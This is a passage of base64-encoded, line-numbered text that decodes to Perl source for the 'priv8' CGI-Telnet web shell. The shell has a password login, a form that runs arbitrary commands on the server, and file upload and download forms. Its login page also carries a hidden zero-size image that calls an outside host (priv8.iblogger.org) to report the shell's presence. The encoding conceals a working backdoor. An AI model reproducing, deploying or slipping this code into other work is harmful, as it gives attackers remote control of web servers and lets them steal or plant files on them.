1658LS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCSRNZXNzYWdlID0gcSQ8L2ZvbnQ+PGgxPnBh
1659c3M9cHJpdjg8L2gxPjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48cHJlPjxpbWcgYm9y
1660ZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cucHJpdjguaWJsb2dnZXIub3JnL3MucGhwPytjZ2l0ZWxu
1661ZXQgc2hlbGwiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjwvcHJlPg0KJDsNCiMnDQoJcHJpbnQgPDxF
1662TkQ7DQo8Y29kZT4NCg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPg0KQ29ubmVjdGVkIHRvICRT
1663ZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+JE1lc3NhZ2UNCkVO
1664RA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1665LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0
1666IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0t
1667LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1668LS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+
1669DQo8YnI+bG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJy
1670Pjxicj4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1671LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50
1672cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1673LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz
1674dWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1l
1675PSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBl
1676PSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQo8L2ZvbnQ+DQo8Zm9udCBzaXplPSIz
1677Ij4NCmxvZ2luOiA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2
1678Ij5wcml2OCBjZ2kgc2hlbGw8L2I+PGJyPg0KcGFzc3dvcmQ6PC9mb250Pjxmb250IGNvbG9yPSIj
1679MDA5OTAwIiBzaXplPSIzIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0
1680IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0K
1681DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1682LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRN
1683TCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1684LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJ
1685cHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t
1686LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1687LS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNh
1688biBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0t
1689LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1690LS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0
1691KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2ll
1692cykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7
1693JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1694LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0
1695aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1696LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N
1697CnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3Nl
1698ZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0t
1699LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1700LS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2lu
1701IGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1702LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXBy
1703aW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUN
1704CgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50
1705TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoN
1706CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1707LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9n
1708aW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdA0KIyBkaXNwbGF5cyBhIHBh
1709Z2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQg
1710ZG9lbnMndA0KIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5
1711cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gbG9naW4NCiMtLS0tLS0tLS0tLS0t
1712LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1713LS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9naW4gDQp7DQoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBh
1714c3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQNCgl7DQoJCXByaW50ICJTZXQtQ29va2llOiBTQVZF
1715RFBXRD0kTG9naW5QYXNzd29yZDtcbiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJlBy
1716aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2Ug
1717IyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJ
1718JlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFz
1719c3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJ
1720CX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0t
1721LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1722LS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0
1723aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1724LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBy
1725aW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50
1726RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8
1727PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3Jp
1728cHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFu
1729ZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K
1730JFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1p
1731dCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCg0KRU5EDQp9DQoNCiMtLS0tLS0t
1732LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1733LS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVz
1734ZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1735LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZp
1736bGVEb3dubG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDog
1737IlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxj
1738b2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlv
1739biI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K
1740PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQg
1741ZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBz
1742aXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i
1743QmVnaW4iPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t
1744LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1745LS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2Fk
1746IGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1747LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0K
1748ew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVy
1749TmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5h
1750bWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9u
1751PSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxp
1752bnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZu
1753YnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+DQpP
1754dmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8
1755aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIg
1756bmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9
1757ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0t
1758LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1759LS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91
1760dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8NCiMgdGVybWluYXRlIHRoZSBzY3Jp
1761cHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBp
1762cw0KIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuDQojLS0t
1763LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1764LS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCglpZighJFdpbk5UKQ0K
1765CXsNCgkJYWxhcm0oMCk7DQoJCXByaW50IDw8RU5EOw0KPC94bXA+DQoNCjxjb2RlPg0KQ29tbWFu
1766ZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25k
1767KHMpLg0KPGJyPktpbGxlZCBpdCENCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsN
1768CgkJJlByaW50UGFnZUZvb3RlcjsNCgkJZXhpdDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0t
1769LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1770LS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQg
1771ZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2Vy
1772IHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFu
1773ZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5
1774IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRp
1775bWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hh
1776bmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRo
1777ZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0t
1778LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1779LS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9e
1780XHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBj
1781aGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNv
1782bW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJDQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsNCgkJ
1783JENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4k
1784Q21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSZQcmludFBhZ2VI
1785ZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxA
1786JFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOw0KCQlwcmludCAiJFByb21wdCAkUnVuQ29tbWFuZCI7
1787DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsN
1788CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50
1789RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQg
1790IiRQcm9tcHQgJFJ1bkNvbW1hbmQ8eG1wPiI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnRE
1791aXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCgkJaWYoISRXaW5OVCkNCgkJ
1792ew0KCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJCWFsYXJtKCRDb21tYW5k
1793VGltZW91dER1cmF0aW9uKTsNCgkJfQ0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBv
1794dXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJCXsNCgkJCSR8PTE7DQoJCQkkQ29tbWFuZCAuPSAi
1795IHwiOw0KCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCQl3aGlsZSg8Q29tbWFu
1796ZE91dHB1dD4pDQoJCQl7DQoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkJcHJpbnQgIiRf
1797XG4iOw0KCQkJfQ0KCQkJJHw9MDsNCgkJfQ0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29t
1798bWFuZCBjb21wbGV0ZXMNCgkJew0KCQkJcHJpbnQgYCRDb21tYW5kYDsNCgkJfQ0KCQlpZighJFdp
1799bk5UKQ0KCQl7DQoJCQlhbGFybSgwKTsNCgkJfQ0KCQlwcmludCAiPC94bXA+IjsNCgl9DQoJJlBy
1800aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0t
1801LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1802LS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQg
1803Y29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUg
1804c3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMg
1805ZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1l
1806bnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2Fk
1807ZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1808LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsN
1809Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBl
1810eGlzdHMNCgl7DQoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8g
1811dGhlIGJyb3dzZXINCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJI
1812KiIsJDEpL2VnOw0KCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2Fk
1813JmY9JEZpbGVVcmwmbz1nbyI7DQoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlW
1814PVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQoJCSZQcmlu
1815dFBhZ2VIZWFkZXIoImMiKTsNCgkJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KU2VuZGluZyBGaWxl
1816ICRUcmFuc2ZlckZpbGUuLi48YnI+DQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0
1817b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lg0KRU5E
1818DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0N
1819CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7
1820DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJlByaW50Rmls
1821ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0t
1822LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1823LS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJv
1824bSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2Fu
1825IGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmll
1826ZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0t
1827LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1828LQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlm
1829KG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7
1830DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNU
1831RE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmls
1832ZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQt
1833VHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6
1834ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7
1835IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShT
1836RU5ERklMRSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQ
1837YWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAk
1838ISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9
1839DQp9DQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1840LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxl
1841ZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQ0K
1842IyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUg
1843Y2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0
1844aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsDQojIHRoZSBmaWxlIGlz
1845IHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1846LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz
1847dWIgQmVnaW5Eb3dubG9hZA0Kew0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBm
1848aWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9e
1849XFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBw
1850YXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0K
1851CWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFy
